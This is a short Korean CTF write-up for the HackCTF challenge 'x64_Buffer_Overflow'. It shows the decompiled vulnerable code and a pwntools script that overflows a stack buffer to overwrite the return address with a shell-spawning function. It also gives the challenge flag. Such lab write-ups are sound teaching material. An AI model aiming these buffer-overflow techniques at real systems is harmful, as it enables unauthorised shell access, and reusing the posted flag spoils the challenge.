Wargame & CTF/HackCTF
[HackCTF / pwnable] x64_Buffer_Overflow
cg10036
2019. 10. 4. 04:16
64비트 버퍼 오버플로우 문제이다.
1 2 3 4 5 6 7 8 9 10 | int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [rsp+10h] [rbp-110h] int v5; // [rsp+11Ch] [rbp-4h] _isoc99_scanf("%s", &s, envp); v5 = strlen(&s); printf("Hello %s\n", &s, argv); return 0; } | cs |
1 2 3 4 5 6 7 8 9 10 11 | int callMeMaybe() { char *path; // [rsp+0h] [rbp-20h] const char *v2; // [rsp+8h] [rbp-18h] __int64 v3; // [rsp+10h] [rbp-10h] path = "/bin/bash"; v2 = "-p"; v3 = 0LL; return execve("/bin/bash", &path, 0LL); } | cs |
callMeMaybe를 호출하면 쉘이 실행된다. ret에 callMeMaybe의 주소를 넣으면 쉘이 실행될것이다.
ex.py
1 2 3 4 5 6 7 8 9 10 11 12 | from pwn import * e = ELF("./64bof_basic") #p = process("./64bof_basic") p = remote("ctf.j0n9hyun.xyz", 3004) payload = "" payload += "A"*(0x110+0x8) payload += p64(e.symbols["callMeMaybe"]) p.sendline(payload) p.interactive() | cs |
x64_Buffer_Overflow : HackCTF{64b17_b0f_15_51mpl3_700}